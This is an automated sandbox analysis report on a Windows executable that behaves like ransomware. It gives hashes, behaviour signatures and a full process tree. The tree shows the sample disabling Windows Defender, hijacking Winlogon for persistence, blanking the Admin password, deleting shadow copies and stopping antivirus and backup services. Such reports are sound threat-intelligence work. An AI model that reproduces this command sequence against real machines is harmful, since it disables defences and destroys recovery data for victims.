Analysis

  • max time kernel
    6s
  • max time network
    10s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    05-09-2023 16:36

Errors

Reason
Machine shutdown

General

  • Target

    58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f_JC.exe

  • Size

    82KB

  • MD5

    e01e11dca5e8b08fc8231b1cb6e2048c

  • SHA1

    4983d07f004436caa3f10b38adacbba6a4ede01a

  • SHA256

    58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f

  • SHA512

    298bfb9fe55ddd80f1c6671622d7e9e865899a855b5bb8e0d85d8520160cedca6fd8bc72c9881925477bcab883bf6e6f4c69f997b774b74fe992e023a81269de

  • SSDEEP

    1536:PcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEe:UWNGszjoih/NDh/NDuk+XkGAK/hztXcQ

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Windows security modification 2 TTPs 1 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 14 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f_JC.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Windows security modification
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2260
    • C:\Windows\system32\reg.exe
      "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
      2⤵
      • Modifies registry key
      PID:3032
    • C:\Windows\system32\bcdedit.exe
      "bcdedit.exe" /set {default} safeboot network
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2796
    • C:\Windows\system32\reg.exe
      "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f_JC.exe","C:\Windows\system32\userinit.exe" /f
      2⤵
      • Modifies WinLogon for persistence
      PID:2428
    • C:\Windows\system32\net.exe
      "net.exe" user Admin ""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2240
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 user Admin ""
        3⤵
          PID:2656
      • C:\Windows\system32\shutdown.exe
        "shutdown.exe" /r /t 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Get-MpPreference -verbose
        2⤵
          PID:2928
        • C:\Windows\system32\net.exe
          "net.exe" stop avpsus /y
          2⤵
            PID:1684
          • C:\Windows\system32\net.exe
            "net.exe" stop McAfeeDLPAgentService /y
            2⤵
              PID:2648
            • C:\Windows\system32\net.exe
              "net.exe" stop ccEvtMgr /y
              2⤵
                PID:2524
              • C:\Windows\system32\cmd.exe
                "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
                2⤵
                  PID:1104
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" Delete Shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:2704
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
                  2⤵
                  • Interacts with shadow copies
                  PID:2864
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
                  2⤵
                  • Interacts with shadow copies
                  PID:2908
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                  2⤵
                  • Interacts with shadow copies
                  PID:1088
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
                  2⤵
                  • Interacts with shadow copies
                  PID:568
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
                  2⤵
                  • Interacts with shadow copies
                  PID:1136
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
                  2⤵
                  • Interacts with shadow copies
                  PID:940
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
                  2⤵
                  • Interacts with shadow copies
                  PID:1340
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
                  2⤵
                  • Interacts with shadow copies
                  PID:1040
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
                  2⤵
                  • Interacts with shadow copies
                  PID:996
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
                  2⤵
                  • Interacts with shadow copies
                  PID:2844
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
                  2⤵
                  • Interacts with shadow copies
                  PID:2768
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
                  2⤵
                  • Interacts with shadow copies
                  PID:1484
                • C:\Windows\system32\vssadmin.exe
                  "vssadmin.exe" Delete Shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:2756
                • C:\Windows\system32\taskkill.exe
                  "taskkill.exe" /IM mydesktopservice.exe /F
                  2⤵
                  • Kills process with taskkill
                  PID:1784
                • C:\Windows\system32\taskkill.exe
                  "taskkill.exe" /IM mydesktopqos.exe /F
                  2⤵
                  • Kills process with taskkill
                  PID:1404
                • C:\Windows\system32\taskkill.exe
                  "taskkill.exe" /IM mspub.exe /F
                  2⤵
                  • Kills process with taskkill
                  PID:2044
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SstpSvc start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2828
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SQLWriter start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2812
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2500
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SQLTELEMETRY start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:892
                • C:\Windows\system32\net.exe
                  "net.exe" stop sophos /y
                  2⤵
                    PID:1888
                  • C:\Windows\system32\net.exe
                    "net.exe" stop CAARCUpdateSvc /y
                    2⤵
                      PID:2172
                    • C:\Windows\system32\net.exe
                      "net.exe" stop CASAD2DWebSvc /y
                      2⤵
                        PID:2484
                      • C:\Windows\system32\net.exe
                        "net.exe" stop AcronisAgent /y
                        2⤵
                          PID:700
                        • C:\Windows\system32\net.exe
                          "net.exe" stop AcrSch2Svc /y
                          2⤵
                            PID:760
                          • C:\Windows\system32\net.exe
                            "net.exe" stop BackupExecRPCService /y
                            2⤵
                              PID:2896
                            • C:\Windows\system32\net.exe
                              "net.exe" stop BackupExecManagementService /y
                              2⤵
                                PID:2752
                              • C:\Windows\system32\net.exe
                                "net.exe" stop BackupExecJobEngine /y
                                2⤵
                                  PID:2888
                                • C:\Windows\system32\net.exe
                                  "net.exe" stop BackupExecDiveciMediaService /y
                                  2⤵
                                    PID:2832
                                  • C:\Windows\system32\net.exe
                                    "net.exe" stop BackupExecAgentBrowser /y
                                    2⤵
                                      PID:1020
                                    • C:\Windows\system32\net.exe
                                      "net.exe" stop BackupExecAgentAccelerator /y
                                      2⤵
                                        PID:920
                                      • C:\Windows\system32\net.exe
                                        "net.exe" stop BackupExecVSSProvider /y
                                        2⤵
                                          PID:780
                                        • C:\Windows\system32\net.exe
                                          "net.exe" stop PDVFSService /y
                                          2⤵
                                            PID:696
                                          • C:\Windows\system32\net.exe
                                            "net.exe" stop veeam /y
                                            2⤵
                                              PID:592
                                            • C:\Windows\system32\net.exe
                                              "net.exe" stop VeeamNFSSvc /y
                                              2⤵
                                                PID:564
                                              • C:\Windows\system32\net.exe
                                                "net.exe" stop VeeamDeploymentService /y
                                                2⤵
                                                  PID:528
                                                • C:\Windows\system32\net.exe
                                                  "net.exe" stop VeeamTransportSvc /y
                                                  2⤵
                                                    PID:2884
                                                  • C:\Windows\system32\net.exe
                                                    "net.exe" stop VSNAPVSS /y
                                                    2⤵
                                                      PID:812
                                                    • C:\Windows\system32\net.exe
                                                      "net.exe" stop stc_raw_agent /y
                                                      2⤵
                                                        PID:2208
                                                      • C:\Windows\system32\net.exe
                                                        "net.exe" stop zhudongfangyu /y
                                                        2⤵
                                                          PID:3020
                                                        • C:\Windows\system32\net.exe
                                                          "net.exe" stop YooIT /y
                                                          2⤵
                                                            PID:1388
                                                          • C:\Windows\system32\net.exe
                                                            "net.exe" stop YooBackup /y
                                                            2⤵
                                                              PID:2060
                                                            • C:\Windows\system32\net.exe
                                                              "net.exe" stop QBCFMonitorService /y
                                                              2⤵
                                                                PID:3016
                                                              • C:\Windows\system32\net.exe
                                                                "net.exe" stop Intuit.QuickBooks.FCS /y
                                                                2⤵
                                                                  PID:3008
                                                                • C:\Windows\system32\net.exe
                                                                  "net.exe" stop QBIDPService /y
                                                                  2⤵
                                                                    PID:3004
                                                                  • C:\Windows\system32\net.exe
                                                                    "net.exe" stop QBFCService /y
                                                                    2⤵
                                                                      PID:2632
                                                                    • C:\Windows\system32\net.exe
                                                                      "net.exe" stop RTVscan /y
                                                                      2⤵
                                                                        PID:2588
                                                                      • C:\Windows\system32\net.exe
                                                                        "net.exe" stop SavRoam /y
                                                                        2⤵
                                                                          PID:2576
                                                                        • C:\Windows\system32\net.exe
                                                                          "net.exe" stop ccSetMgr /y
                                                                          2⤵
                                                                            PID:2532
                                                                          • C:\Windows\system32\net.exe
                                                                            "net.exe" stop DefWatch /y
                                                                            2⤵
                                                                              PID:2516
                                                                            • C:\Windows\system32\net.exe
                                                                              "net.exe" stop NetBackup BMR MTFTP Service /y
                                                                              2⤵
                                                                                PID:2624
                                                                              • C:\Windows\system32\net.exe
                                                                                "net.exe" stop BMR Boot Service /y
                                                                                2⤵
                                                                                  PID:2680
                                                                                • C:\Windows\system32\net.exe
                                                                                  "net.exe" stop mfewc /y
                                                                                  2⤵
                                                                                    PID:2676
                                                                                • C:\Windows\system32\LogonUI.exe
                                                                                  "LogonUI.exe" /flags:0x0
                                                                                  1⤵
                                                                                    PID:2712
                                                                                  • C:\Windows\system32\LogonUI.exe
                                                                                    "LogonUI.exe" /flags:0x1
                                                                                    1⤵
                                                                                      PID:2976

                                                                                    Network

                                                                                    MITRE ATT&CK Enterprise v15

                                                                                    Replay Monitor

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                                                                                    Downloads

                                                                                    • memory/2260-0-0x0000000001240000-0x000000000125A000-memory.dmp

                                                                                      Filesize

                                                                                      104KB

                                                                                    • memory/2260-1-0x000007FEF5680000-0x000007FEF606C000-memory.dmp

                                                                                      Filesize

                                                                                      9.9MB

                                                                                    • memory/2260-2-0x0000000000D20000-0x0000000000DA0000-memory.dmp

                                                                                      Filesize

                                                                                      512KB

                                                                                    • memory/2260-9-0x000007FEF5680000-0x000007FEF606C000-memory.dmp

                                                                                      Filesize

                                                                                      9.9MB

                                                                                    • memory/2712-3-0x00000000029C0000-0x00000000029C1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/2928-8-0x000007FEED630000-0x000007FEEDFCD000-memory.dmp

                                                                                      Filesize

                                                                                      9.6MB

                                                                                    • memory/2976-10-0x00000000028A0000-0x00000000028A1000-memory.dmp

                                                                                      Filesize

                                                                                      4KB